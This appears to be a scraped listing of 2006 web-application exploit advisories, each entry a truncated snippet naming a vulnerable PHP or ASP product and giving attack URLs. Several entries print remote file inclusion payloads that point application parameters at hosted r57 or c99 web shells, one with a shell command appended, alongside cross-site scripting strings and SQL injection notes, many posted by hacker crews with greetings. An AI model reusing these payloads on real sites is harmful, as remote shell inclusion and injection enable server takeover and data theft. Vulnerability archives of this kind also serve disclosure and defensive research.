QaTraq 6.5 RC: Multiple XSS Vulnerabilities

=========================================================== QaTraq 6.5 RC: Multiple XSS Vulnerabilities =========================================================== Technical University of Vienna Security Advisory TUVSA-0606-001, June 23, 2006...

RahnemaCo.txt

============================================= Fund By: Breeeeh Special for Site:- www.alshmokh.com nono225-CrAzYCrAcKeR-mHOn-LoverHacker-rageh Sw33t h4ck3r-BoNym-Root shill-LiNuXrOOt ============================================= Example:- /shop/page.php?osCsid=http://yoursite/c99shell.txt? Search...

file include exploits in dotwidgeta Version 2

Multiple file include exploits in dotwidgeta Version 2 script type : dotwidgeta Version 2 bug found by : sweet-devil team : site-down type : file include exploits : index.php http://www.example.com/path/index.php?filepath=http://yoursite/r57shell.txt? ecrire.php...

file include exploits in mcGuestbook 1.3

Multiple file include exploits in mcGuestbook 1.3 script type : mcGuestbook 1.3 bug found by : sweet-devil team : site-down type : file include exploits : admin.php http://www.example.com/path/admin.php?lang=http://yoursite/r57shell.txt? ecrire.php...

file include exploits in nucleus 3.23

Multiple file include exploits in nucleus 3.23 script type : nucleus 3.23 bug found by : sweet-devil team : site-down type : file include exploits : action.php http://www.example.com/path/action.php?DIRLIBS=http://yoursite/r57shell.txt? media.php...

multiple Xss exploits in 35mmslidegallery V6

multiple Xss exploits in 35mmslidegallery V6 forum type : 35mmslidegallery V6 bug found by : black-code team : $!T3-D0WN type : Xss exploits : http://example.com/lumet/album/index.php?imgdir='scriptalert10/script http://example.comr/lumet/album/popup.php?w='scriptalert10/script...

35mmslidegallery.txt

multiple Xss exploits in 35mmslidegallery V6 forum type : 35mmslidegallery V6 bug found by : black-code team : $!T3-D0WN type : Xss exploits : http://example.com/lumet/album/index.php?imgdir='alert10 http://example.comr/lumet/album/popup.php?w='alert10...

xtreme10.txt

Multiple file include exploits in Xtreme Downloads v.1.0 script type : Xtreme Downloads v.1.0 bug found by : sweet-devil & black-code team : site-down type : file include exploits : download.php http://www.example.com/path/download.php?root=http://yoursite/r57shell.txt? manager.php...

Multiple file include exploits in Xtreme Downloads v.1.0

Multiple file include exploits in Xtreme Downloads v.1.0 script type : Xtreme Downloads v.1.0 bug found by : sweet-devil & black-code team : site-down type : file include exploits : download.php http://www.example.com/path/download.php?root=http://yoursite/r57shell.txt? manager.php...

file include in Xtreme Downloads v.1.0

Multiple file include exploits in Xtreme Downloads v.1.0 script type : Xtreme Downloads v.1.0 bug found by : sweet-devil team : site-down type : file include exploits : download.php http://www.example.com/path/download.php?root=http://yoursite/r57shell.txt? manager.php...

newsfactory.txt

=================================== Discovery By: CrAzY CrAcKeR Site: www.alshmokh.com I want to thank my friend:- nono225-mHOn-rageh-LoverHacker-BoNym Breeeeh-Rootshil-LiNuXrOOt-SauDiVirUS =================================== Example:- /vorstellung.php?id=sql /vorstellung.php?id=xss...

myNewsletter 1.1.2 - 'Username' SQL Injection

source: https://www.securityfocus.com/bid/18287/info myNewsletter is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacker to compromise the...

multiple file inclusion exploits in ovidentia v5.8.0

multiple file inclusion exploits in ovidentia v5.8.0 forum type : ovidentia v5.8.0 bug found by : black-code&sweet-devil team : site-down type : file include exploits : http://www.example.com/orid/index.php?babInstallPath=http://Yoursite.com/r57.txt?...

Multiple Xss exploits in Chipmunk Board

Subject: Multiple Xss exploits in Chipmunk Board Date: 27 May 2006 10:51:30 -0000 Multiple Xss exploits in Chipmunk Board forum type : Chipmunk Board bug found by : black-code&sweet-devil team : site-down type : Xss black-code: codes :...

[Full-disclosure] Multiple XSS Vulnerabilities in Tikiwiki 1.9.x

Multiple XSS Vulnerabilities in Tikiwiki 1.9.x Discovered by Blwood http://www.blwood.net http://www.blwood.net/ Public ------------- Tiki-lastchanges http://www.site.com/ http://www.site.com http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-lastchanges.php?...

multiple Xss exploits in : vCard 2.9

Subject: multiple Xss exploits in : vCard 2.9 Date: 27 May 2006 11:12:55 -0000 multiple Xss exploits in : vCard 2.9 forum type : vCard 2.9 bug found by : black-code&sweet-devil team : site-down type : Xss sweet-devil: http://www.example.com/cards/create.php?cardid='scriptalert10/script...

multiple file include exploits in EzUpload Pro v2.10

multiple file include exploits in EzUpload Pro v2.10 forum type : EzUpload Pro v2.10 bug found by : black-code & sweet-devil team : site-down type : file include exploits : form.php http://www.example.com/path/form.php?path=http://rst.void.ru/download/r57shell.txt?&cmd=pwd customize.php...

RE: Multiple Xss exploits in coolphp magazine

Subject: Multiple Xss exploits in coolphp magazine Date: 27 May 2006 14:25:31 -0000 Multiple Xss exploits in coolphp magazine script type : coolphp magazine bug found by : black-code & sweet-devil team : site-down type : Xss Codes : http://www.xxx.com/coolphp/index.php?op='scriptalert10/script...

Mini-NUKE 2.3 - 'Your_Account.asp' Multiple SQL Injections

source: https://www.securityfocus.com/bid/18126/info Mini-NUKE is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. Successful exploits could allow an attacker to compromis...

Enigma Haber <= 4.3 Multiple Remote SQL Injection Vulnerabilities

No description provided by source. Enigma Haber = 4.3 Multiple Remote SQL Injection Vulnerabilities Contacts ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on Enigma Haber = 4.3 Original advisory can be found at: http://www.nukedx.com/?viewdoc=34...